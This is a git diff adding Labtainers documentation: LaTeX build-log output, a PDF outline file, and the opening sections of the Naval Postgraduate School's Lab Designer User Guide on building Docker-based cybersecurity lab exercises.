[] + + +Overfull \hbox (53.52843pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 REGEX -- The line_id is a regular +expression. This names the[] + [] + + +Overfull \hbox (47.35342pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 first occurrence of a lin +e that matches the regular[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 expression. Also see the + "GROUP" field_type.[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 line preceeding the first + occurrence of a line[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 stdin file. See the snor +t lab for an example.[] + [] + + +Overfull \hbox (47.35342pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 REGEX_TS -- Similar to HAVESTRING_TS, + but with REGEX semantics,[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 including optional use of + the GROUP field_type.[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 line_id - See line_type above. String values, e +.g., for "STARTSWITH"[] + [] + +[24] +Overfull \hbox (28.82841pt too wide) in paragraph at lines 1385--1385 +[]\OT1/cmtt/m/n/12 = : [ : : + | [] + [] + +[25] +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 consisting of goal_id's and boolean + operators, ("and",[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 "or", "and_not", "or_not", and "not +"), and parenthisis[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 for precedence. The goal_id's must + be from goals defined[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 TRUE if the boolen expression evalu +ates to TRUE for any[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 of the timestamped sets of goal_ids +, (see the 'matchany'[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 goal2 instance is TRUE, and at leas +t one goal1 instance[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 always created for each goal2. Eac +h such goal is True[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 unless one or more goal1 times occu +r within a True goal2[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 execute, with the resulttag and ans +wertag passed to the[] + [] + +[26] +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 one of the symbolic names defined i +n the results.config[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 value or the symbolic name in the p +arameters.config file[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 value - The goal value is assigned the given +resulttag value from[] + [] + + +Overfull \hbox (47.35342pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 the most recent timestamped file th +at contains the resulttag.[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 - If the type is 'execute' then is a filename of[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 may be an arithmetic expression within paren +theses. For example,[] + [] + +[27] +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 (leading with 0x), in +terpretation depending[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 parameter_ascii. -- same as above, b +ut the value parsed as[] + [] + + +Overfull \hbox (35.00342pt too wide) in paragraph at lines 1385--1385 +[] \OT1/cmtt/m/n/12 an integer or hexidec +imal and converted to an[] + [] + + +Overfull \hbox (12.55444pt too wide) in paragraph at lines 1390--1398 +\OT1/cmr/m/n/12 Evaluation of stu-dent re-sults oc-curs on an in-struc-tor con- +tainer, via a script named \OT1/cmtt/m/n/12 instructor.py\OT1/cmr/m/n/12 , + [] + +[28] +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1458--1458 +[]\OT1/cmtt/m/n/12 modify_value = matchany : string_diff : newsecret1value : re +sult.origsecret1value[] + [] + +[29] +Overfull \hbox (47.35342pt too wide) in paragraph at lines 1540--1540 +[] \OT1/cmtt/m/n/12 web_log = vuln-site:/var/www/csrflabelgg.com:httpd.servic +e : CONTAINS : GET / HTTP/[] + [] + +[30] +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1557--1557 +[] \OT1/cmtt/m/n/12 syslog_slices = /var/log/messages : LOG_RANGE : Started S +ystem Logging Service[] + [] + + +Overfull \hbox (5.66667pt too wide) in paragraph at lines 1570--1576 +[]\OT1/cmr/m/n/12 When the \OT1/cmtt/m/n/12 gradelab \OT1/cmr/m/n/12 script is +run from labtainers-instructor, the con-fig-u-ra-tion files in labs/[lab + [] + +[31] [32] +File: ExternalNetworks.jpg Graphic file (type jpg) + + +Package pdftex.def Info: ExternalNetworks.jpg used on input line 1665. +(pdftex.def) Requested size: 193.47577pt x 243.55289pt. + +Overfull \hbox (0.51527pt too wide) in paragraph at lines 1682--1688 +\OT1/cmr/m/n/12 ISTRY[]ID'' value in the start.config file for the lab(s). You +would then use the dis-trib/publish.py + [] + +[33 <./ExternalNetworks.jpg>] [34] +Overfull \hbox (51.57909pt too wide) in paragraph at lines 1773--1778 +\OT1/cmr/m/n/12 tainer is first run. See the base-line Lab-tainer Dock-er-files + in \OT1/cmtt/m/n/12 trunk/scripts/designer/base[]dockerfiles + [] + +[35] +File: multiuser-multilabtainers.jpg Graphic file (type jpg) + + +Package pdftex.def Info: multiuser-multilabtainers.jpg used on input line 1850. + +(pdftex.def) Requested size: 193.47577pt x 194.69438pt. + + +File: multiuser-onelabtainer.jpg Graphic file (type jpg) + + +Package pdftex.def Info: multiuser-onelabtainer.jpg used on input line 1857. +(pdftex.def) Requested size: 193.47577pt x 191.1666pt. + [36] [37 <./multiuser-multilabtainers.jpg> <./multiuser-onelabtainer.jpg>] +Overfull \hbox (34.51065pt too wide) in paragraph at lines 1930--1934 +[]\OT1/cmr/m/n/12 Within the \OT1/cmtt/m/n/12 start.config \OT1/cmr/m/n/12 file +, iden-tify this sub-net as ei-ther a MACVLAN or a MACVLAN[]EXT. + [] + +[38] [39] [40] +Overfull \hbox (8.84981pt too wide) in paragraph at lines 2103--2105 +\OT1/cmr/m/n/12 Install bind9 in Dock-er-file. Add zone files to /etc/bind and +db files to ../[]system/var/cache/bind/. + [] + +[41] [42] [43] + +Package hyperref Warning: Token not allowed in a PDF string (PDFDocEncoding): +(hyperref) removing `\\' on input line 2176. + + +Overfull \hbox (21.1056pt too wide) in paragraph at lines 2213--2216 +\OT1/cmtt/m/n/12 info / linux / linux _ show _ keycode _ keysym . html$[][] \OT +1/cmr/m/n/12 and [][]$\OT1/cmtt/m/n/12 https : / / www . in-[]ulm . de / []masc +heck / + [] + +[44] +Package atveryend Info: Empty hook `BeforeClearDocument' on input line 2265. + [45] +Package atveryend Info: Empty hook `AfterLastShipout' on input line 2265. + (./labdesigner.aux) +Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 2265. +Package atveryend Info: Empty hook `AtEndAfterFileList' on input line 2265. + + +LaTeX Warning: There were multiply-defined labels. + +Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 2265. + ) +Here is how much of TeX's memory you used: + 7046 strings out of 494953 + 103462 string characters out of 6180977 + 211360 words of memory out of 5000000 + 10114 multiletter control sequences out of 15000+600000 + 9838 words of font info for 35 fonts, out of 8000000 for 9000 + 14 hyphenation exceptions out of 8191 + 29i,8n,30p,933b,550s stack positions out of 5000i,500n,10000p,200000b,80000s + +Output written on labdesigner.pdf (46 pages, 462596 bytes). +PDF statistics: + 836 PDF objects out of 1000 (max. 8388607) + 764 compressed objects within 8 object streams + 167 named destinations out of 1000 (max. 500000) + 685 words of extra memory for PDF output out of 10000 (max. 10000000) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.out.ps b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.out.ps new file mode 100644 index 000000000..b6fcc5427 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.out.ps @@ -0,0 +1,352 @@ +%! +/pdfmark where{pop} +{/globaldict where{pop globaldict}{userdict}ifelse/pdfmark/cleartomark load put} +ifelse +[ +/Title(Introduction) +/Count -3 +/Action/GoTo/Dest(section.1)cvn +/OUT pdfmark +[ +/Title(Benefits of Labtainers) +/Action/GoTo/Dest(subsection.1.1)cvn +/OUT pdfmark +[ +/Title(Obtaining the Labtainer development kit) +/Action/GoTo/Dest(subsection.1.2)cvn +/OUT pdfmark +[ +/Title(Content of this guide) +/Action/GoTo/Dest(subsection.1.3)cvn +/OUT pdfmark +[ +/Title(Overview of the student environment and workflow) +/Action/GoTo/Dest(section.2)cvn +/OUT pdfmark +[ +/Title(Creating new labs) +/Count -3 +/Action/GoTo/Dest(section.3)cvn +/OUT pdfmark +[ +/Title(Create the first lab computer) +/Action/GoTo/Dest(subsection.3.1)cvn +/OUT pdfmark +[ +/Title(Testing the new lab) +/Action/GoTo/Dest(subsection.3.2)cvn +/OUT pdfmark +[ +/Title(Multiple containers) +/Action/GoTo/Dest(subsection.3.3)cvn +/OUT pdfmark +[ +/Title(Defining the lab execution environment) +/Count -9 +/Action/GoTo/Dest(section.4)cvn +/OUT pdfmark +[ +/Title(Docker files) +/Action/GoTo/Dest(subsection.4.1)cvn +/OUT pdfmark +[ +/Title(Container definitions in start.config) +/Action/GoTo/Dest(subsection.4.2)cvn +/OUT pdfmark +[ +/Title(Lab-specific files in the student's home directory) +/Count -1 +/Action/GoTo/Dest(subsection.4.3)cvn +/OUT pdfmark +[ +/Title(Large or numerous files in the home directory) +/Action/GoTo/Dest(subsubsection.4.3.1)cvn +/OUT pdfmark +[ +/Title(Lab-specific system files) +/Action/GoTo/Dest(subsection.4.4)cvn +/OUT pdfmark +[ +/Title(System services) +/Action/GoTo/Dest(subsection.4.5)cvn +/OUT pdfmark +[ +/Title(Instructions for Students) +/Action/GoTo/Dest(subsection.4.6)cvn +/OUT pdfmark +[ +/Title(Running programs in Virtual Terminals) +/Action/GoTo/Dest(subsection.4.7)cvn +/OUT pdfmark +[ +/Title(Final lab environment fixup) +/Action/GoTo/Dest(subsection.4.8)cvn +/OUT pdfmark +[ +/Title(Automatic copying files from containers to the host) +/Action/GoTo/Dest(subsection.4.9)cvn +/OUT pdfmark +[ +/Title(Parameterizing a lab) +/Count -4 +/Action/GoTo/Dest(section.5)cvn +/OUT pdfmark +[ +/Title(Parameterization configuration file syntax) +/Action/GoTo/Dest(subsection.5.1)cvn +/OUT pdfmark +[ +/Title(Synchronizing startup and parameterization) +/Action/GoTo/Dest(subsection.5.2)cvn +/OUT pdfmark +[ +/Title(Parameterizing start.config) +/Action/GoTo/Dest(subsection.5.3)cvn +/OUT pdfmark +[ +/Title(Simple Parameterization for Checking Own-work) +/Action/GoTo/Dest(subsection.5.4)cvn +/OUT pdfmark +[ +/Title(Automated assessment of student labs) +/Count -5 +/Action/GoTo/Dest(section.6)cvn +/OUT pdfmark +[ +/Title(Artifact files) +/Count -8 +/Action/GoTo/Dest(subsection.6.1)cvn +/OUT pdfmark +[ +/Title(Capturing stdin and stdout) +/Action/GoTo/Dest(subsubsection.6.1.1)cvn +/OUT pdfmark +[ +/Title(Capturing program file output) +/Action/GoTo/Dest(subsubsection.6.1.2)cvn +/OUT pdfmark +[ +/Title(Bash History) +/Action/GoTo/Dest(subsubsection.6.1.3)cvn +/OUT pdfmark +[ +/Title(System logs) +/Action/GoTo/Dest(subsubsection.6.1.4)cvn +/OUT pdfmark +[ +/Title(Capturing information about the environment) +/Action/GoTo/Dest(subsubsection.6.1.5)cvn +/OUT pdfmark +[ +/Title(Capturing file access events) +/Action/GoTo/Dest(subsubsection.6.1.6)cvn +/OUT pdfmark +[ +/Title(Generating results upon stopping the lab) +/Action/GoTo/Dest(subsubsection.6.1.7)cvn +/OUT pdfmark +[ +/Title(Artifact archives) +/Action/GoTo/Dest(subsubsection.6.1.8)cvn +/OUT pdfmark +[ +/Title(Artifact result values) +/Count -1 +/Action/GoTo/Dest(subsection.6.2)cvn +/OUT pdfmark +[ +/Title(Converting artifact file formats) +/Action/GoTo/Dest(subsubsection.6.2.1)cvn +/OUT pdfmark +[ +/Title(Evaluating results) +/Count -2 +/Action/GoTo/Dest(subsection.6.3)cvn +/OUT pdfmark +[ +/Title(Assessment Report) +/Action/GoTo/Dest(subsubsection.6.3.1)cvn +/OUT pdfmark +[ +/Title(Document the meaning of goals) +/Action/GoTo/Dest(subsubsection.6.3.2)cvn +/OUT pdfmark +[ +/Title(Assessment examples) +/Count -6 +/Action/GoTo/Dest(subsection.6.4)cvn +/OUT pdfmark +[ +/Title(Do artifact files contain specific strings?) +/Action/GoTo/Dest(subsubsection.6.4.1)cvn +/OUT pdfmark +[ +/Title(Compare value of a field from a selected line in an artifact file) +/Action/GoTo/Dest(subsubsection.6.4.2)cvn +/OUT pdfmark +[ +/Title(My desired artifacts are not in stdin or stdout, the program outputs a file) +/Action/GoTo/Dest(subsubsection.6.4.3)cvn +/OUT pdfmark +[ +/Title(Distinguish log file entries generated before and after configuration changes) +/Action/GoTo/Dest(subsubsection.6.4.4)cvn +/OUT pdfmark +[ +/Title(Delimiting logs by starting services) +/Action/GoTo/Dest(subsubsection.6.4.5)cvn +/OUT pdfmark +[ +/Title(Delimiting time using log file entries) +/Action/GoTo/Dest(subsubsection.6.4.6)cvn +/OUT pdfmark +[ +/Title(Debugging automated assessment in labs) +/Action/GoTo/Dest(subsection.6.5)cvn +/OUT pdfmark +[ +/Title(Networking) +/Count -2 +/Action/GoTo/Dest(section.7)cvn +/OUT pdfmark +[ +/Title(Realistic Network Routing and DNS) +/Action/GoTo/Dest(subsection.7.1)cvn +/OUT pdfmark +[ +/Title(Communicating with external hosts or VMs) +/Action/GoTo/Dest(subsection.7.2)cvn +/OUT pdfmark +[ +/Title(Building, Maintaining and Publishing Labs) +/Count -6 +/Action/GoTo/Dest(section.8)cvn +/OUT pdfmark +[ +/Title(NPS Development Operations) +/Action/GoTo/Dest(subsection.8.1)cvn +/OUT pdfmark +[ +/Title(Alternate registry for testing) +/Action/GoTo/Dest(subsection.8.2)cvn +/OUT pdfmark +[ +/Title(Reuse of large file sets) +/Action/GoTo/Dest(subsection.8.3)cvn +/OUT pdfmark +[ +/Title(Package sources for apt and yum) +/Action/GoTo/Dest(subsection.8.4)cvn +/OUT pdfmark +[ +/Title(Locale settings) +/Action/GoTo/Dest(subsection.8.5)cvn +/OUT pdfmark +[ +/Title(Lab versions) +/Action/GoTo/Dest(subsection.8.6)cvn +/OUT pdfmark +[ +/Title(Multi-user Labtainers) +/Count -3 +/Action/GoTo/Dest(section.9)cvn +/OUT pdfmark +[ +/Title(Multi-user Labtainers, one Labtainer VM per student) +/Action/GoTo/Dest(subsubsection.9.0.1)cvn +/OUT pdfmark +[ +/Title(Single Labtainers VM with multiple students) +/Action/GoTo/Dest(subsubsection.9.0.2)cvn +/OUT pdfmark +[ +/Title(Creating conformant multi-user labs) +/Action/GoTo/Dest(subsection.9.1)cvn +/OUT pdfmark +[ +/Title(Limitations) +/Action/GoTo/Dest(section.10)cvn +/OUT pdfmark +[ +/Title(Notes) +/Count -10 +/Action/GoTo/Dest(section.11)cvn +/OUT pdfmark +[ +/Title(Firefox) +/Action/GoTo/Dest(subsection.11.1)cvn +/OUT pdfmark +[ +/Title(Wireshark) +/Action/GoTo/Dest(subsection.11.2)cvn +/OUT pdfmark +[ +/Title(Elgg) +/Action/GoTo/Dest(subsection.11.3)cvn +/OUT pdfmark +[ +/Title(Host OS dependencies) +/Action/GoTo/Dest(subsection.11.4)cvn +/OUT pdfmark +[ +/Title(Login Prompts) +/Action/GoTo/Dest(subsection.11.5)cvn +/OUT pdfmark +[ +/Title(Networking Notes) +/Count -5 +/Action/GoTo/Dest(subsection.11.6)cvn +/OUT pdfmark +[ +/Title(SSH) +/Action/GoTo/Dest(subsubsection.11.6.1)cvn +/OUT pdfmark +[ +/Title(X11 over SSH) +/Action/GoTo/Dest(subsubsection.11.6.2)cvn +/OUT pdfmark +[ +/Title(Traffic mirroring) +/Action/GoTo/Dest(subsubsection.11.6.3)cvn +/OUT pdfmark +[ +/Title(DNS) +/Action/GoTo/Dest(subsubsection.11.6.4)cvn +/OUT pdfmark +[ +/Title(Overriding Docker routing and DNS) +/Action/GoTo/Dest(subsubsection.11.6.5)cvn +/OUT pdfmark +[ +/Title(User management and sudo) +/Action/GoTo/Dest(subsection.11.7)cvn +/OUT pdfmark +[ +/Title(Suggestions for Developers) +/Action/GoTo/Dest(subsection.11.8)cvn +/OUT pdfmark +[ +/Title(Container isolation) +/Action/GoTo/Dest(subsection.11.9)cvn +/OUT pdfmark +[ +/Title(Student self assessment) +/Action/GoTo/Dest(subsection.11.10)cvn +/OUT pdfmark +[ +/Title(SimLab for testing labs) +/Count -3 +/Action/GoTo/Dest(appendix.A)cvn +/OUT pdfmark +[ +/Title(SimLab Directives) +/Action/GoTo/Dest(subsection.A.1)cvn +/OUT pdfmark +[ +/Title(SimLab spplication notes) +/Action/GoTo/Dest(subsection.A.2)cvn +/OUT pdfmark +[ +/Title(Regression testing with smoketest.py) +/Action/GoTo/Dest(subsection.A.3)cvn +/OUT pdfmark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.pdf new file mode 100644 index 000000000..18ce42a0d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex new file mode 100644 index 000000000..7c7c0826b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.tex @@ -0,0 +1,2265 @@ +\documentclass[12pt]{article} +\usepackage{geometry} +\geometry{a4paper, total={170mm,257mm},left=20mm, top=20mm,} +\usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} +\usepackage{bookmark} +\usepackage{graphicx} +\usepackage[autostyle, english = american]{csquotes} +\usepackage{appendix} +\begin{document} +\begin{titlepage} +\title {Labtainer Lab Designer User Guide} +\maketitle + +\vspace{2.0in} +This document was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) at the Naval Postgraduate School NPS. +Please note that within the United States, copyright protection is not available for any works created +by United States Government employees, pursuant to Title 17 United States Code Section 105. +This document is in the public domain and is not subject to copyright. +\end{titlepage} +\tableofcontents +\newpage +\section {Introduction} +This manual is intended for use by lab designers wanting +to create or adapt cybersecurity labs to use the Docker +container-based lab framework known as ``Labtainers''. +The Labtainer framework is designed for use with computer and network security +laboratory exercises targeting Linux environments, and it is built around +standard Linux Docker containers. A Labtainer exerciese may include multiple +networked components, all running locally on a student's computer, but without +the performance degredation associated with running multiple virtual machines. + +While most Labtainer exercises focus on exploring concepts via the Linux command line -- GUI based +applications, e.g., browsers and Wireshark are also supported. + +\subsection {Benefits of Labtainers} + +Deploying cybersecurity labs using this framework +provides three primary benefits: + +\begin{enumerate} +\item The lab execution environment is controlled and consistent +across all student computers regardless of the Linux distribution +and configuration present on individual student computers. +This allows each lab designer to control +which software packages are present, the versions of libraries and +specific configuration settings, e.g., /etc file values. These configurations +may vary between labs, and they may vary between multiple computers in +a single lab. + +\item Assessment of student lab activity can be automated through a +set of configuration files that identify expected results, thus +relieving lab instructors from having to individually review detailed lab +results. + +\item Labs may be automatically ``parameterized'' for each student such that +students cannot easily copy results from another student or from internet +repositories. +\end{enumerate} + +Labtainers provide the advantages of a consistent +execution environment without requiring +an individual Virtual Machine (VM) per lab, and without requiring all labs to be adapted for +a common Linux execution environment. These benefits can be realized +whether or not labs are configured for automatic assessment, +or are parameterized for each student. + +\begin{figure}[ht] +\centering +\includegraphics[width=0.4\textwidth,natwidth=621,natheight=403]{dmz-lab.jpg} +\caption{Example Labtainers network topology} +\label{fig:dmz} +\end{figure} + +Exercises that include multiple networked computers illustrate an advantage +of using containers over VMs, namely, containers require significantly less resources +than do VMs. A student laptop that struggles to run two or more VMs can readily +run multiple containers simultaneously, as shown in this 50 second demonstration: \url{https://youtu.be/JDV6jGF3Szw} + +Lab designers enhance labs to include automated assessment using directives built into the famework. +For example, ten rather simple directives can evaluate the following question regarding a student' +work on a lab depicted in Figure \ref{fig:dmz}: + +``Was there any +single iptables configuration during which the student used nmap to demonstrate that: +\begin{itemize} +\item The remote workstation could reach the HTTPS port but not the SQL port, and, +\item The local workstation could reach the HTTPS port and the SQL port.'' +\end{itemize} + +\subsection {Obtaining the Labtainer development kit} +Installation of Labtainers is described in the \textit{Labtainer Student Guide}, +which also includes instructions for installing an Ubuntu VM (if you do not already have a Linux system), +and the Labtainer framework. Our website also distributes pre-packaged VM appliances that already have +Labtainers installed. Labtainers will work with any Linux +distribution that supports Docker containers. If you already have Docker installed on a Linux system, +reference the Student Guide for other dependencies. + +The difference between the development kit and the standard Labtainer distribution is primarily +just the lab definition files, which are withheld from the general distribution for efficiency. + + +If you have a Labtainer installation (e.g., our pre-packaged VM), you can get the developer files by going to your +labtainers directory, e.g., {\tt \~{}/labtainers/} and running {\tt ./update-designer.sh} +\footnote{The student password for the pre-packaged VM is "password123".} +You may then want to logout and login again, or run a new {\tt bash} shell because that script +sets some environment variables. + +It is suggested that you periodically run that update script to get the latest lab definition files, +and to update framework software. + +\subsection{Content of this guide} +This guide describes how to build new labs, but first, section \ref{student environment} +gives an overview of how students interact with Labtainers. The steps taken to +create a new lab are provided in section \ref{sec:new_labs}, and the mechanics of defining +the lab execution environment are in section \ref{execution environment}. + +Individualizing labs to discourage sharing of solutions is described in \ref{parameterize}. +Section \ref{assessment} then describes how to define criteria to enable automated assessment +of student work. + +Networking considerations are described in \ref{networking}. Section \ref{publishing} covers +the process of building, publishing and maintaining labs. + +Strategies for creating mulit-user Labtainer exercises are discussed in section \ref{multi user}. +Section \ref{limitations} identifies limitations of the framework and section \ref{Notes} includes +application-specific notes, e.g., notes relavent to including Firefox in a lab. + +Automated testing of labs is supported using our SimLab tool as described in Appendix \ref{testing}. + + +\section {Overview of the student environment and workflow} +\label{student environment} +Labtainers support laboratory exercises designed for Linux environments, +ranging from interaction with individual programs to labs that include +what appear to be multiple components and networks. Students see and interact with Linux +computers, primarily via bash shell commands and GUI-based applications. In general, the Labtainer +framework implementation is not visible to the student, and the Linux +environment as seen by the student is not noticeably augmented to support the framework. + +Labtainers are intended for use on individual student computers, e.g., a laptop, +or potentially a VM allocated to the student from within a VM farm. \footnote{Labtainers +can also support labs in which students collaborate (or compete) on shared infrastructure. +Please see section \ref{multi user} for information on multi-user environments.} +The computer utilized by a student must include the Linux operating system, e.g., +as a single VM. This Linux operating system, referred to herein +as the \textit{Linux host}, can be any distribution and version +which supports Docker. Students download and expand a tarball, and run +an installation script as described in the \textit{Labtainer Student Guide} +\footnote{This tarball may someday be replaced by standard Linux distribution packages, +e.g., Debian and/or RPM packages.} Alternately, students can use a Linux VM +that is pre-configured with Labtainers and Docker, and is available at our website. + +It is suggested that the student's Linux host be a virtual machine that is +not used for purposes requiring trust. Software programs contained in cybersecurity lab +exercises are not, in general, trusted. And while Docker containers provide namespace +isolation between the containers and the Linux host, the containers run as privileged. + +Labtainer exercises can include networking to external hosts, e.g., a Windows VM +running alongside the Linux host VM, as described in section \ref{external hosts}. + +Students initiate any and all labs from a +single workspace directory on the Linux host. +To perform a specific Labtainer exercise, the student runs a \textit{start.py} command from +the Labtainer workspace, naming the lab exercise. This results in one or more +containers starting up along with corresponding virtual terminals via which the +student will interact with the containers. These virtual terminals typically +present a bash shell. Each container appears to the student as a separate +computer, and these computers may appear to be connected via one or more networks. + +When a student starts a given exercise for the first time, the framework fetches +Docker images from the Docker registry. Docker manages container images as a set of +layers, providing efficient storage and retrieval of images having common components. +The initial Labtainer installation step pulls a few baseline images (about 1.5 GB) from +the public +Docker registry, known as the \textit{Docker hub}. Images for specific labs are pulled +from the Docker hub by downloading only those additional layers required by that lab, and +which had not been previously pulled from the hub. This is transparent to +the student, other than waiting for downloads to complete. + +After the student performs the lab exercise, artifacts from the container +environments are automatically collected into an archive, (a zip file), that appears on +the student's Linux host. The student forwards this archive file to the instructor, +e.g., via email or a learning management system (LMS). The instructor collects student archive files into a common +directory on his or her own Linux host, and then issues a command that +results in automated assessment of student lab +activity, (if the lab is designed for that), and the optional creation of an environment +in which the instructor can review the work of each student. + +Many cybersecurity lab exercises are assessed through use of reports in which students +describe their activities and answer specific questions posed by the instructor. Labtainers +are intended to augment, rather than supplant this type of reporting. The framework includes +mechanisms for automating the collection of student lab reports into the artifact archive files +that are collected by instructors. + + +\section {Creating new labs} +\label{sec:new_labs} +The most challenging and critical part of designing a new cybersecurity lab +is the design of the lab itself, i.e., identifying learning objectives and +organizing exercises to achieve those objectives. The Labtainer framework +does not specifically address any of that. Rather, the framework is intended +to allow you to focus more time on the design of the lab and less time on mitigating and +explaining system administration and provisioning burdens you would otherwise place on +students and instructors. + +Typical steps for developing a new lab are: +\begin{enumerate} +\item Give the lab a name and create its computers using the {\tt new\_lab\_setup.py} script; +\item Choose the starting baseline configuration for each computer and add software packages +within a Dockerfile; +\item Define networks and connections to the lab computers in the lab's {\tt start.config} file. +\item Populate the user's HOME directory and system directories with lab-specific files. +\end{enumerate} +The remainder of this section covers the fist step and provides an example. The +following section \ref{execution environment}, covers the other three +steps. After a lab is created, you can then optionally parameterize it per section \ref{parameterize} and/or +define criteria for automated assessment per section \ref{assessment} + +\subsection{Create the first lab computer} +Labtainer exercises each have their own +directory under the ``labs'' directory in the project repository. +The first step in creating a new lab within the framework is to create +a directory for the lab and then cd to it. The directory name will be the name +used by students when starting the lab. It must be all lower case and not contain spaces. +\begin{verbatim} + cd $LABTAINER_DIR/labs + mkdir + cd +\end{verbatim} + +\noindent After the new lab directory is created, run the ``new\_lab\_setup.sh'' script. +\footnote {The {\tt \$LABTAINER\_DIR} will have been defined in your .bashrc +file when you installed Labtainers. It should point to the {\tt labtainers/trunk} +directory. You may need to start a new {\tt bash} shell to inherit the environment +variable.} + +\begin{verbatim} + new_lab_setup.py +\end{verbatim} +This will create a set of template files that you can then customize +for the new lab. These template files are referenced in the discussion +below. +The result of running {\tt new\_lab\_setup.py} is a new labtainer lab that can be immediately run. +While this new lab will initially only present you with a bash shell to an +empty directory on a Linux computer, it is worth testing the lab to understand the workflow. + +\subsection{Testing the new lab} +Once a new lab directory is created, and the new\_lab\_setup.py has been run, then +you can test the new, (currently empty) lab. All student labs are launched from the +labtainer-student directory. Lab development workflow is easiest if at least two +terminals or tabs are used, one in the new lab directory, and one in the labtainer-student +directory. So, open a new tab or window, and then: + +\begin{verbatim} + cd $LABTAINER_DIR/scripts/labtainer-student +\end{verbatim} +Then start the lab using the: + +\begin{verbatim} + rebuild.py [labname] +\end{verbatim} +command, where labname is the name of the lab you just created. + +The rebuild.py command will remove and recreate the lab containers +each time the script is run. And it will rebuild the container images if any of their configuration +information has changed. \footnote{The build process may generate warnings in red text, some of which are expected. +These include an unreferenced ``user'' variable and the lack of apt-utils if apt-get is used to install packages in +Dockerfiles.} This is often necessary when building and testing new labs, to ensure the +new environment does not contain artifacts from previous runs. +The progress of the build, and error messages can be viewed in +the labtainer.log file. While developing, it is generally a good idea to tail this log in +a separate terminal: +\begin{verbatim} + tail -f labtainer.log +\end{verbatim} + +Note the ``rebuild.py'' command is not intended for use by students, they would use the ``start.py'' command. +The rebuild.py utility compares file modification dates to Docker image creation dates to determine if +a given image needs to be rebuilt. \footnote{rebuild.py will miss file deletion. Thus, if files are deleted, you must +force the rebuild using the {\tt -f} option at the end of the rebuild.py command. Also, addition of symbolic links will not +trigger a rebuild.} + +Stop the lab with +\begin{verbatim} + stop.py +\end{verbatim} +When you stop the lab, a path to saved results is displayed. +This is the zip file that the student will forward to the instructor. + +To test adding a ``hello world'' program to the new labtainer, perform the following steps: +\begin{itemize} +\item From the new lab directory window, cd \verb!$LABTAINER_DIR/labs/[labname]/[labname]! +\item Create a ``hello world'' program, e.g., in python or compiled C. +\item From the labtainer-student window, run rebuild.py [labname] +\end{itemize} + +You should see the new program in the container's +home directory. If you run the program from the container, and then stop the lab +with stop.py, you will see the stdin and stdout results of the program within the +saved zip file. + +The ``hello world'' program was placed in \verb!$LABTAINER_DIR/labs/[labname]/[labname]!. +The seemingly redundant ``labname'' directories are a naming convention in which the +second directory names one of potentially many containers. In this simple example, +the lab has but one container, whose name defaults to the lab name. + +The following sections describe how to further alter the lab execution environment seen by +the student. + +\subsection {Multiple containers} +The {\tt new\_lab\_setup.sh} script can be used to create additional containers for use +in the lab. For example, from your new lab directory: +\begin{verbatim} + new_lab_setup.sh -a joe_computer +\end{verbatim} +\noindent 